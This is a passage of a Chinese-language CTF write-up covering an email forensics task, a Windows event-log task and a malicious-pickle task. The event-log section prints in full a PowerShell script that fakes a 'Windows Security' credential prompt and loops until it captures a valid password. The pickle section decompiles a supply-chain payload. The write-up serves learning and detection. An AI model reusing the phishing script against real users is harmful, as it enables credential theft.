pan><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>得到</p><pre class="line-numbers language-none"><code class="language-none">解碼結果: &quot;emmagtsrow&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>所以 Flag 就是 <code>grodno{emmagtsrow}</code></p><h1 id="forensics" tabindex="-1">Forensics</h1><h2 id="invoice-without-a-bank" tabindex="-1" id="Invoice-Without-A-Bank">Invoice Without A Bank</h2><p><img src="2026-07-14-20-32-25.png" alt="Invoice Without A Bank"></p><p>題目說 email 的主旨是 <code>Fatura Emitida -</code> 開頭的</p><p>因為信也不多，所以直接用 QuickLook 一個一個看即可。</p><p><img src="2026-07-20-14-31-11.png" alt="sample-717"></p><blockquote><p>Flag: <code>grodno{Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso}</code></p></blockquote><p>而若信件 sample 過多，我們可藉由以下(AI寫的)腳本：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pathlib <span class="token keyword">import</span> Path<span class="token keyword">from</span> email <span class="token keyword">import</span> policy<span class="token keyword">from</span> email<span class="token punctuation">.</span>parser <span class="token keyword">import</span> BytesParser<span class="token keyword">for</span> eml <span class="token keyword">in</span> Path<span class="token punctuation">(</span><span class="token string">"emails"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>rglob<span class="token punctuation">(</span><span class="token string">"*.eml"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>eml<span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>        msg <span class="token operator">=</span> BytesParser<span class="token punctuation">(</span>policy<span class="token operator">=</span>policy<span class="token punctuation">.</span>default<span class="token punctuation">)</span><span class="token punctuation">.</span>parse<span class="token punctuation">(</span>f<span class="token punctuation">)</span>    subject <span class="token operator">=</span> msg<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"Subject"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token string">"Fatura Emitida -"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> subject<span class="token punctuation">:</span>        <span class="token keyword">continue</span>    subject_id <span class="token operator">=</span> subject<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">"Fatura Emitida -"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> part <span class="token keyword">in</span> msg<span class="token punctuation">.</span>iter_attachments<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        fn <span class="token operator">=</span> part<span class="token punctuation">.</span>get_filename<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> fn <span class="token keyword">and</span> fn<span class="token punctuation">.</span>lower<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>endswith<span class="token punctuation">(</span><span class="token string">".pdf"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"EML:"</span><span class="token punctuation">,</span> eml<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"PDF:"</span><span class="token punctuation">,</span> fn<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ID :"</span><span class="token punctuation">,</span> subject_id<span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"\nFLAG = grodno&#123;&#123;</span><span class="token interpolation"><span class="token punctuation">&#123;</span>fn<span class="token punctuation">&#125;</span></span><span class="token string">_</span><span class="token interpolation"><span class="token punctuation">&#123;</span>subject_id<span class="token punctuation">&#125;</span></span><span class="token string">&#125;&#125;"</span></span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>輸出如下：</p><pre class="line-numbers language-none"><code class="language-none">EML: emails\sample-717.emlPDF: Vl6s3kCIKaUvwaUAeY.pdfID : 6ZFYeMmltsoFLAG &#x3D; grodno&#123;Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="prompt-and-pretext" tabindex="-1" id="Prompt-And-Pretext">Prompt And Pretext</h2><p><img src="2026-07-14-20-32-57.png" alt="Prompt And Pretext"></p><p>題目給的是這個 <a href="https://github.com/sbousseaden/evtx-attack-samples">sbousseaden/EVTX-ATTACK-SAMPLES: Windows Events Attack Samples</a></p><p>看這篇 <a href="https://feifei.tw/windows-event-log-auditing-guide/">[技術解析] 005 學習 Windows 事件日誌（Windows Event log ） - 飛飛</a> 中的<strong>PowerShell 日誌監控</strong>部分嚴肅學習。可以知到 Event ID 4104 (Script Block Logging)：即使攻擊者使用了混淆技術（Obfuscation），Windows 也會先解密再記錄，因此能看到實際執行的指令。<br>所以我們首要之務就是去找這類的日誌。</p><blockquote><p>笑死，搞指令工具搞半天，發現 Excel 才是王道！</p></blockquote><p>直接用 Excel 打開 <code>evtx_data.csv</code>，建立篩選器找出 Event ID <code>4104</code> 的紀錄，只有兩個，可以在其中一個的 <code>ScriptBlockText</code> 欄位找到：</p><pre class="line-numbers language-powershell" data-language="powershell"><code class="language-powershell"><span class="token keyword">function</span> <span class="token function">Invoke-LoginPrompt</span><span class="token punctuation">&#123;</span><span class="token variable">$cred</span> = <span class="token variable">$Host</span><span class="token punctuation">.</span>ui<span class="token punctuation">.</span>PromptForCredential<span class="token punctuation">(</span><span class="token string">"Windows Security"</span><span class="token punctuation">,</span> <span class="token string">"Please enter user credentials"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$env</span>:userdomain\<span class="token variable">$env</span>:username"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token variable">$username</span> = <span class="token string">"<span class="token variable">$env</span>:username"</span><span class="token variable">$domain</span> = <span class="token string">"<span class="token variable">$env</span>:userdomain"</span><span class="token variable">$full</span> = <span class="token string">"<span class="token variable">$domain</span>"</span> <span class="token operator">+</span> <span class="token string">"\"</span> <span class="token operator">+</span> <span class="token string">"<span class="token variable">$username</span>"</span><span class="token variable">$password</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>password<span class="token function">Add-Type</span> <span class="token operator">-</span>assemblyname System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token variable">$DS</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token punctuation">.</span>PrincipalContext<span class="token punctuation">(</span><span class="token namespace">[System.DirectoryServices.AccountManagement.ContextType]</span>::Machine<span class="token punctuation">)</span><span class="token keyword">while</span><span class="token punctuation">(</span><span class="token variable">$DS</span><span class="token punctuation">.</span>ValidateCredentials<span class="token punctuation">(</span><span class="token string">"<span class="token variable">$full</span>"</span><span class="token punctuation">,</span><span class="token string">"<span class="token variable">$password</span>"</span><span class="token punctuation">)</span> <span class="token operator">-ne</span> <span class="token boolean">$True</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$cred</span> = <span class="token variable">$Host</span><span class="token punctuation">.</span>ui<span class="token punctuation">.</span>PromptForCredential<span class="token punctuation">(</span><span class="token string">"Windows Security"</span><span class="token punctuation">,</span> <span class="token string">"Invalid Credentials, Please try again"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$env</span>:userdomain\<span class="token variable">$env</span>:username"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">)</span>    <span class="token variable">$username</span> = <span class="token string">"<span class="token variable">$env</span>:username"</span>    <span class="token variable">$domain</span> = <span class="token string">"<span class="token variable">$env</span>:userdomain"</span>    <span class="token variable">$full</span> = <span class="token string">"<span class="token variable">$domain</span>"</span> <span class="token operator">+</span> <span class="token string">"\"</span> <span class="token operator">+</span> <span class="token string">"<span class="token variable">$username</span>"</span>    <span class="token variable">$password</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>password    <span class="token function">Add-Type</span> <span class="token operator">-</span>assemblyname System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement    <span class="token variable">$DS</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>DirectoryServices<span class="token punctuation">.</span>AccountManagement<span class="token punctuation">.</span>PrincipalContext<span class="token punctuation">(</span><span class="token namespace">[System.DirectoryServices.AccountManagement.ContextType]</span>::Machine<span class="token punctuation">)</span>    <span class="token variable">$DS</span><span class="token punctuation">.</span>ValidateCredentials<span class="token punctuation">(</span><span class="token string">"<span class="token variable">$full</span>"</span><span class="token punctuation">,</span> <span class="token string">"<span class="token variable">$password</span>"</span><span class="token punctuation">)</span> <span class="token punctuation">|</span> <span class="token function">out-null</span>    <span class="token punctuation">&#125;</span> <span class="token variable">$output</span> = <span class="token variable">$newcred</span> = <span class="token variable">$cred</span><span class="token punctuation">.</span>GetNetworkCredential<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">|</span> <span class="token function">select-object</span> UserName<span class="token punctuation">,</span> Domain<span class="token punctuation">,</span> Password <span class="token variable">$output</span> R<span class="token punctuation">&#123;</span>START_PROCESS<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">Invoke-LoginPrompt</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所以 Flag 為 <code>grodno{Invoke-LoginPrompt_R{START_PROCESS}}</code>。</p><h1 id="ai" tabindex="-1">AI</h1><h2 id="pickles" tabindex="-1" id="Pickles">Pickles</h2><p><img src="2026-07-20-15-29-34.png" alt="Pickles"></p><p>題目給了一個 <code>payload.pyc</code> 一個 <code>model.pkl</code><br>用 <a href="https://pylingual.io">PyLingual</a> 反編譯 pyc 檔得到</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># Decompiled with PyLingual (https://pylingual.io)</span><span class="token comment"># Internal filename: '/home/atlas/Code/thm/tasks/pickle-receipt/author/payload.py'</span><span class="token comment"># Bytecode version: 3.10.b1 (3439)</span><span class="token comment"># Source timestamp: 2026-07-10 14:39:33 UTC (1783694373)</span><span class="token triple-quoted-string string">"""Code that the compromised model executes while being unpickled."""</span><span class="token keyword">from</span> __future__ <span class="token keyword">import</span> annotations<span class="token keyword">import</span> base64<span class="token keyword">import</span> hashlib_WORDS <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">b'snow'</span><span class="token punctuation">,</span> <span class="token string">b'candle'</span><span class="token punctuation">,</span> <span class="token string">b'tangerine'</span><span class="token punctuation">,</span> <span class="token string">b'clock'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">_stream</span><span class="token punctuation">(</span>key<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> size<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    counter <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span> <span class="token builtin">len</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span> <span class="token operator">&lt;</span> size<span class="token punctuation">:</span>        out<span class="token punctuation">.</span>extend<span class="token punctuation">(</span>hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>key <span class="token operator">+</span> counter<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'little'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        counter <span class="token operator">+=</span> <span class="token number">1</span>    <span class="token keyword">return</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span>out<span class="token punctuation">[</span><span class="token punctuation">:</span>size<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token keyword">class</span> <span class="token class-name">LedgerModel</span><span class="token punctuation">:</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> cipher<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> weights<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> seal<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>cipher <span class="token operator">=</span> cipher        self<span class="token punctuation">.</span>weights <span class="token operator">=</span> weights        self<span class="token punctuation">.</span>seal <span class="token operator">=</span> seal    <span class="token keyword">def</span> <span class="token function">infer</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> text<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> history<span class="token punctuation">:</span> <span class="token builtin">list</span><span class="token punctuation">[</span><span class="token builtin">str</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">dict</span><span class="token punctuation">[</span><span class="token builtin">str</span><span class="token punctuation">,</span> <span class="token builtin">object</span><span class="token punctuation">]</span><span class="token punctuation">:</span>        score <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token builtin">sum</span><span class="token punctuation">(</span>text<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> self<span class="token punctuation">.</span>weights<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">101</span>        sequence <span class="token operator">=</span> <span class="token string">b'|'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">(</span>x<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">for</span> x <span class="token keyword">in</span> history<span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> hashlib<span class="token punctuation">.</span>sha256<span class="token punctuation">(</span>sequence<span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">!=</span> self<span class="token punctuation">.</span>seal<span class="token punctuation">:</span>            <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token string">'score'</span><span class="token punctuation">:</span> score<span class="token punctuation">,</span> <span class="token string">'label'</span><span class="token punctuation">:</span> <span class="token string">'invoice'</span> <span class="token keyword">if</span> score <span class="token operator">></span> <span class="token number">50</span> <span class="token keyword">else</span> <span class="token string">'receipt'</span><span class="token punctuation">&#125;</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            key <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>self<span class="token punctuation">.</span>weights <span class="token operator">+</span> sequence <span class="token operator">+</span> <span class="token string">b'inference-cache'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span>            plain <span class="token operator">=</span> <span class="token builtin">bytes</span><span class="token punctuation">(</span><span class="token punctuation">(</span>a <span class="token operator">^</span> b <span class="token keyword">for</span> a<span class="token punctuation">,</span> b <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>cipher<span class="token punctuation">,</span> _stream<span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>cipher<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> <span class="token punctuation">&#123;</span><span class="token string">'score'</span><span class="token punctuation">:</span> score<span class="token punctuation">,</span> <span class="token string">'label'</span><span class="token punctuation">:</span> <span class="token string">'receipt'</span><span class="token punctuation">,</span> <span class="token string">'ticket'</span><span class="token punctuation">:</span> base64<span class="token punctuation">.</span>b85encode<span class="token punctuation">(</span>plain<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">install_supply_chain_probe</span><span class="token punctuation">(</span>cipher<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> weights<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> seal<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> LedgerModel<span class="token punctuation">:</span>    <span class="token triple-quoted-string string">"""This is reached by REDUCE during pickle.load()."""</span>    <span class="token keyword">return</span> LedgerModel<span class="token punctuation">(</span>cipher<span class="token punctuation">,</span> weights<span class="token punctuation">,</span> seal<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>為了安全考量，我們手動解密，而非直接執行它原本的<br>使用 Fickling 反編譯 pickle 檔案中的程式</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">fickling model.pkl<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>得到</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> payload <span class="token keyword">import</span> install_supply_chain_probe_var0 <span class="token operator">=</span> install_supply_chain_probe<span class="token punctuation">(</span><span class="token string">b'\xbf\x1d\xa5\xef7\xf6Ff\x037:L\xb8\xebK&amp;\xf1\xfd\xed\x04\x8a\x00T\x0ff\x89rm'</span><span class="token punctuation">,</span> <span class="token string">b'\x1c\xeb\x85g\n\x052\xcbE>\xba+\xd0\x96H\xbfg\xe1\x0f\xec\x0c\x92\x06~\xa1\xbf L\xfd\x841\xec\xdc\xdeV\xb5_\xcb\xb7B\x9ba[|\xc7\x8f+\xdf\x14\xbb\xe2\xce\x1e\x92\x13\xdf\xeb\xd7\xdd\x14\x0e\xe9\x7f\xf4\xe7\x90\x1b\xf5C)\x17u8\x03\xda\x9d\x1fI\xb8\xb1>XL\x95s\xd0\x1e3\xd8\xa8\xfah\x87\xd2\xac\xc5i\x9f\xae\x1e*\xaa\x81\xb0\xef\xa6\xf7\xad\xe0\x1b\xfb7\xa3B\xd30\x19B\x1d\x83\xed\xc2\xf8r\x8dSu\xa1=\xf3\xfcb2\xccG\xcf\xa7\x06\xcf\xb0;\xff^G\xd6|Y f0#\x8e\x9f\xe5KK\xd1E\xb0\xd8~s\x05w\x1ab\xaa\x8d\x13\x17%\x8f\xafN\x9b\x8c\xd2\xc4\x99~\xf0M\xdcC\xd55B\xd3i\x13\x90j\x05\xf1`\xfc\xf6u\xdaN\x84\xf6\x1ae\xc5Ya\xa3\xfb\xf6M21\x0f1\x9a\x84V^\x10\x1c>\xa2X\x14\x04\xd2\x9d%\xb4\x87$\x95dj\xeayb\x9e\xfcEb\xc2\xe2\xd9\xb0\xe4\xf3\xad\x17\xcd\\\xce\x02\xdf\xb6_\x12\xfcEt64R\xd3\xb4\x95\xd4_\x13\xcb\x8b\xa3\xec\xb7[\xd1\xfc\x04\xe9][\xe0&amp;\xcar\xab\xeb%d\xb2\xc3kE\x85\x04\xf47\xb4\xd40\xe5BE?V\xe5\xa1\x97\xbe\xa4\x84\xea\xb8\x86\xc2\xa8\x8da\x8a_\xf6.\xe5\xb5\xdf\xf9\x08n\xefD\nN\x1dm\xc7\xd3\xbb\x01\xd4\xc0#\xf1&#123;\xc0\x86\xf9^r\xa6s.^\x0b\x17I\x06\xc4\x9b\xa9\xe2\xcfy@X\xdc\xc7\x90\xa0\x11\xd5b\xb7\xe8j\x89\x9e\xd5u\xe4\x11\xac\xef+\xf9\xbe\x9a\x9do\x96\x8a\xcd\xe8\x9d[&lt;\xf2\xf6\x98\xe7\xde\x05Mdg\xb3\xfd\x91\xd8\x07\xe0Q%\xa6\x1fp\xf2\xc43\xf8\x8d&amp;\x98aC_\xaa\xc9A\xff\xcc&amp;\xa1\x8d\x89\xa5P$\xe3^!q\xa8h[oK\xd1\xbbx\xe0\xd2ZY(\x96t\xd1\xc5\xc0\x19xv\xce\x98\xfakZs\x9d\xe5r\xbb\xb1\xff\xb0\xa5\x8b\xbag@P\x8b@!\x08/\r"\xdb&#123;\xea\xdc\xc4\xbf9\xd8\xb3H\xae\xf1\xa4D\xdb\x8c\xfeo\n\x96kz\xf4*\xb2W\xda\x90f\x18\x95r\xdd\x17\\DK\x1d\xd6\xf9]\xcc *\xf6h\xb7.n\x11\x19nv\xffKka \x7f\xa6I\x9d\xd3\x8a\xbb\xe0\xa4\xd6K\xc3\x1d\x1d8\xfd\x001!\xa8\xe8\x17O\x98U8\xdb\x96\xd4_\x8f\xba\xcf\xb1\x1d\xa1\x99\xc2\xbe\xbcn\xdc\xef\xb8\x87\xd9\x8clk\xe4\x87\xbca\xc8\xa1\x8d\xb1\xef\xf5\xb8+&#123;\xd1\x06\x10\xa1\xe7\xec\xd3(5O\xb5r+\x0e\xf7\xb3"\xc2\xf0\xe8\x845\xd2\xb1\x01\x8c\x08\x0f\x1bOq\x80\x93\xa0$\x15\xb13\xf36\xefv\xc0=\x87\x19\xf1\xdbp~\xaf\xb8\xaat\xb6gC\xf2:\xfa=Z\xa2\x89%\xf5\x86\xb26\x0c\xf1ya\x87(x\xacQ\tw-(xf6_zz\xd9\xb7\x03\x81\x1ap\xd2NC\xf66&lt;d\xdf\xf7\x01\xf9t\x10\xfe\x9b\x92\x15\\-w\xee&amp;E\x0c\x1b\xc3  \x0c\x8e(.\x05\xcb\x1d>\x821\xa1g\xa5Ff4\xe4\x0c\x03\xe2\x89uh\xf96\xac\x95gL\xba\x0f\x01\x99~\xc3O\x03&#125;(ou\tI\'\x12\xabK\xb7\xa9\xa1\xb8GlGhf\xbb\xd9m)\x9a\n=\xcd\xf1SE\x8f\xb2c\xbf\xcc=k\xff\xd5\x96^\xfc\xce\xa9&lt;_\xf1\x00\x06\xc8\xc3\xea\x04\x1f&#125;\xdd:\xf8\xd7\xff\xd3,/+\xb9\xed\xadD\x16\xc1C\xc6!\xe4\x01FD\xd4\xb7d\x89!\xaaP\xce\xfd\xfa\xaeHb\x8b\x19\xb2vB\x1bMG\xc9;\r6Fj.%\xd5\x9as\xe7\xd0\x17\xbf\xa7\xd7\xb7S\xb5Y\xa1y\xf9\xe1\xf0\x1c\xa6\xc6\xc2 \xb5@\xb0\x8d\xd6\x86\xb6K\xcd\x94\xdf\x9d\x81l\x93CE\xc0Rd2\xb2Cs\x18\x94\xa0\xb1\x07\xfb\x07\x0bmup\xba\x82\x85\x05ME\xee&amp;q6+3\x1f0\xbc"!1\x8e\xa6\xe2\t\xe9[\x89\xbfQ8\x86^3\xf8\xe0-\xcbP\xd0jl7\xa9 =9\x7f\x0c\x9c@?\xb5oMf\xa7\xf9\xae\xfd&lt;\xd6\xf0\xf9\xef+\x81G\xd6W\xd8\x12"\xc5\xd9V\xb5\xe4\xe0\xb5QW\xd1;\xdf\xfa\x14$\xa4\x8em9\xc5\xaf&#123;@q\xf0p\x85\xae\xe3\xf2\xf4\xc3\x01\xf1\x9f&#125;\xc7\x9eY6\x9f\xc6,\xa1\x01\xb9U\xac\xfd\x02\x08\r&lt;\xfa\xf6K\xb2\xd0\xfe\x1dw\x9d\xf4U\xc0W\x8b\x83\x8fvD\xce4\xf9t\xffJ\xcc\xb5\xe2\x95\x8d\xd3^\x9f\xbd7n\xa3baJ\xf7r\xec\x98\xd5\xd3\xf1\x04C\xd9\xc1\x04\xa5\xf20\xc8\x9c\xde\xfcy/\xfe\xee\x15[\xf7s\xd5\xef8i\xce\n^\xb8LR-\xeb\x98\x90t@\xa8\xcfZ`7T\xb7~1*)^\x9a\xddig\xc3\xd9\xbfl\x14\xe2\xa3d\xb1\xb0\x02k\xb8kV\x04\xed\xbf\x16U>\xba\x15\xae\x0b\xb6\xff\xf9v\xa4\xd5\xe3G\xc5\xc2=*\x01x\xffL@\xb3\x8fx\xff&amp;ec\xe8\x1c0\xba\x0f\x1d\x14|\xde\xe2`\xfa\xb3\x88h\xb9\xe7\xa6\x83p\x07;\xf3\x0f!&amp;e\x8e\xc0|Q"\xd3d\xc4\xe4\xc9\xab\xb2;\x1e\xcb\xc8k\n\xec\xfe^\xb1,\xf67\xbeh5\xbc\xd9\x82hd\xc9-k\x1b\xf9\xc5\xdd\t\x92K?"\xad\xc7\xd5m\x11\xa1\xdey;\xd2\xc1\xc2\xb5Z\x92,\xd2\xc3\x97@\xff\xf2\x1b\x1c\xce)^\xf8\xda\xd5\x9fod\xef\xb6\xe2\xe4\x9c\x12\xcd%K\x1fF\xb15\xc9\xcb6\xf7\x82\xd6\xc8\xe2J\xaf\xf8\x9a\x97\xbb\x11\xc1?\x9c\xf9\xc3\xf9oK\xa0*\x9b~U\x8b\x9c\x1c\x12\xd7\xf7\xb1\xb4l\xd2\x19Z\xc0b\n\x03\xadEaV\xfe3=f\'\\\x14\x96\xabJ\x90\r\x8c\x14\x16\xfeq\xa52B\xa6>\x9f\x16ib\x83r\x90\x0b\x08\xf2\xf90\x828\x0c\xe8r\xe8\x8eV\x83\xe9EP&amp;\r\\r\xb1\x90w\xc6\'+\x8f\xb9\xcf\x02\xe2\x84d\xb7\xa6\xf5\xc5\xde:\x1d)/\xc9\x91\xc7\x1fY\xe4k\xd6\xb5f&#125;\xd6Y;L$\xc1\xbc]\xe3\x0c\x91\x14&amp;g\x99d\xa3\x96\xcfY\x07y\x9f\x1b"MW\xcb\xdf\xf6mM\xc3s\x19\xd2\x84m\xdb\xe6s\x16\x1a\xb1\xe7|t=\x87\x0b\x19\xf7\x89d\x1d\xb8\xea\x8f\xce\xd7kyZ\xde\x02\x04\x9a\xab&#123;\xc0\xd1\xe8\xfe5\xed]&amp;+\xcf\xd5h\xd8\xf7\xcdn'</span><span class="token punctuation">,</span> <span class="token string">b'\x0b8\x07\xaa\xb7\xae\x8e\x1f\x98H\xe31\xdd\xbf9\xa7jB\x8b\xc6\x19\xef\xf2&lt;0\x8d\x93U\xd7\xb0V\x01'</span><span class="token punctuation">)</span>result0 <span class="token operator">=</span> _var0<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>從而得到 <code>cipher</code>、<code>weights</code>、<code>seal</code>。而從 <code>sequence</code> 的計算公式可發現要解密亦依賴於 <code>history</code> 的最近四筆資料。再看一看 <code>payload</code> 發現定義了一個 <code>_WORD</code>，大膽猜測他就是那四筆資料，所以直接把他解密邏輯搬過來：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> hashlibcipher<span class="token punctuation">,</span> weights<span class="token punctuation">,</span> seal <span class="token operator">=</span> <span class="token comment"># 略，把上面從 model.pkl 反編譯出來的參數複製過來即可</span>_WORDS <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">b'snow'</span><span class="token punctuation">,</span> <span class="token string">b'candle'</span><span class="token punctuation">,</span> <span class="token string">b'tangerine'</span><span class="token punctuation">,</span> <span class="token string">b'clock'</span><span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">_stream</span><span class="token punctuation">(</span>key<span class="token punctuation">:</span> <span class="token builtin">bytes</span><span class="token punctuation">,</span> size<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">bytes</span><span class="token punctuation">:</span>    out <span class="token operator">=</span> <span class="token builtin">bytearray</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    counter <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span> <span class="token builtin">len</span><span class="token punctuation">(</span>out<span class="token punctuation">)</span> <span class="token operator">&lt;</span> size<span class="token punctuation">:</span>        out<span class="token punctuation">.</span>extend<span class="token punctuation">(</span>hashlib<span class="token punctuation">.</span>blake2s<span class="token punctuation">(</span>key <span class="token operator">+</span> counter<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">'little'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        counter <span class="token 